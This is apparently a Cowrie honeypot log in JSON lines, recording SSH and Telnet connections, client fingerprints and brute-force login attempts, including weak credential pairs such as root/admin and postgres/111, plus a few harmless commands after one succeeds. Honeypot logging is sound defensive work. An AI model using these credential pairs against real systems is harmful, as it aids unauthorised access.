{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:07.188852Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:08.020588Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:08.420018Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42626,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9dd5aafd923","protocol":"ssh","message":"New connection: 60.199.224.2:42626 (159.203.135.109:22) [session: c9dd5aafd923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.597654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.602233Z","src_ip":"60.199.224.2","session":"c9dd5aafd923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.799678Z","src_ip":"60.199.224.2","session":"c9dd5aafd923","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.897711Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.906822Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.911643Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:09.915317Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz","message":"login attempt [user/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:10.620563Z","src_ip":"60.199.224.2","session":"c9dd5aafd923","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~","message":"CMD: cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:10.913745Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:11.831309Z","src_ip":"60.199.224.2","session":"c9dd5aafd923","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls","message":"CMD: ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:11.929348Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047","size":479,"shasum":"d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047","duplicate":true,"duration":"4.5","message":"Closing TTY Log: var/lib/cowrie/tty/d2ccb2711da31ea9e455532d3527397ef3ae3ca0a8ee4aebd88de5ca556b3047 after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:12.945526Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:12.949428Z","src_ip":"177.36.200.182","session":"922d1b4dd89e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51524,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef925fa60fe","protocol":"telnet","message":"New connection: 65.60.27.33:51524 (10.17.0.5:23) [session: cef925fa60fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:13.302734Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":47420,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6fd6bc88299","protocol":"ssh","message":"New connection: 103.176.20.115:47420 (10.17.0.5:22) [session: f6fd6bc88299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:19.588392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:19.592873Z","src_ip":"103.176.20.115","session":"f6fd6bc88299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35646,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb36a3c8d99","protocol":"telnet","message":"New connection: 38.54.119.93:35646 (10.17.0.5:23) [session: 9eb36a3c8d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:19.647590Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:19.848452Z","src_ip":"103.176.20.115","session":"f6fd6bc88299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cameron","message":"login attempt [root/cameron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:20.905272Z","src_ip":"103.176.20.115","session":"f6fd6bc88299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.971516847610474,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:21.274237Z","src_ip":"65.60.27.33","session":"cef925fa60fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:22.163925Z","src_ip":"103.176.20.115","session":"f6fd6bc88299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78118085861206,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:26.649763Z","src_ip":"62.210.97.77","session":"a0bad2fb0918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40174,"dst_ip":"10.17.0.5","dst_port":23,"session":"999a5f18a767","protocol":"telnet","message":"New connection: 165.232.131.181:40174 (10.17.0.5:23) [session: 999a5f18a767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:33.348387Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3a5031ba28","protocol":"ssh","message":"New connection: 20.203.42.204:34590 (159.203.135.109:22) [session: 0c3a5031ba28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:38.703691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:38.710990Z","src_ip":"20.203.42.204","session":"0c3a5031ba28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:38.880842Z","src_ip":"20.203.42.204","session":"0c3a5031ba28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111","message":"login attempt [postgres/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:39.582893Z","src_ip":"20.203.42.204","session":"0c3a5031ba28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:40.753608Z","src_ip":"20.203.42.204","session":"0c3a5031ba28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50f9892a7d4","protocol":"ssh","message":"New connection: 191.101.59.69:45716 (159.203.135.109:22) [session: c50f9892a7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:42.923121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:42.929253Z","src_ip":"191.101.59.69","session":"c50f9892a7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:43.027439Z","src_ip":"191.101.59.69","session":"c50f9892a7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin123","message":"login attempt [ansible/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:43.463031Z","src_ip":"191.101.59.69","session":"c50f9892a7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:44.555429Z","src_ip":"191.101.59.69","session":"c50f9892a7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:47.464262Z","src_ip":"14.103.115.234","session":"6f7e452d1a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":36640,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eced28fb4e9","protocol":"ssh","message":"New connection: 61.72.55.130:36640 (159.203.135.109:22) [session: 2eced28fb4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:59.571526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:59.576720Z","src_ip":"61.72.55.130","session":"2eced28fb4e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:01:59.776233Z","src_ip":"61.72.55.130","session":"2eced28fb4e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwaszx","message":"login attempt [user/qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:00.611221Z","src_ip":"61.72.55.130","session":"2eced28fb4e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:01.819090Z","src_ip":"61.72.55.130","session":"2eced28fb4e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42630,"dst_ip":"159.203.135.109","dst_port":22,"session":"c977e466fa5d","protocol":"ssh","message":"New connection: 60.199.224.2:42630 (159.203.135.109:22) [session: c977e466fa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:05.576705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:05.582338Z","src_ip":"60.199.224.2","session":"c977e466fa5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:05.785398Z","src_ip":"60.199.224.2","session":"c977e466fa5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"12345","message":"login attempt [guest/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:06.628198Z","src_ip":"60.199.224.2","session":"c977e466fa5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.13056206703186,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:06.778045Z","src_ip":"38.54.119.93","session":"9eb36a3c8d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:07.834586Z","src_ip":"60.199.224.2","session":"c977e466fa5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40850,"dst_ip":"10.17.0.5","dst_port":23,"session":"416d370469c2","protocol":"telnet","message":"New connection: 38.54.119.93:40850 (10.17.0.5:23) [session: 416d370469c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:13.345715Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43058,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b226f43f2f7","protocol":"telnet","message":"New connection: 38.54.119.93:43058 (10.17.0.5:23) [session: 6b226f43f2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:16.786777Z"}
{"eventid":"cowrie.session.closed","duration":6.201264381408691,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:19.546886Z","src_ip":"38.54.119.93","session":"416d370469c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":36062,"dst_ip":"10.17.0.5","dst_port":22,"session":"72622e099688","protocol":"ssh","message":"New connection: 103.176.20.115:36062 (10.17.0.5:22) [session: 72622e099688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:19.758687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:19.763459Z","src_ip":"103.176.20.115","session":"72622e099688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.62294816970825,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:02:19.971248Z","src_ip":"165.232.131.181","session":"999a5f18a767","protocol":"telnet"}
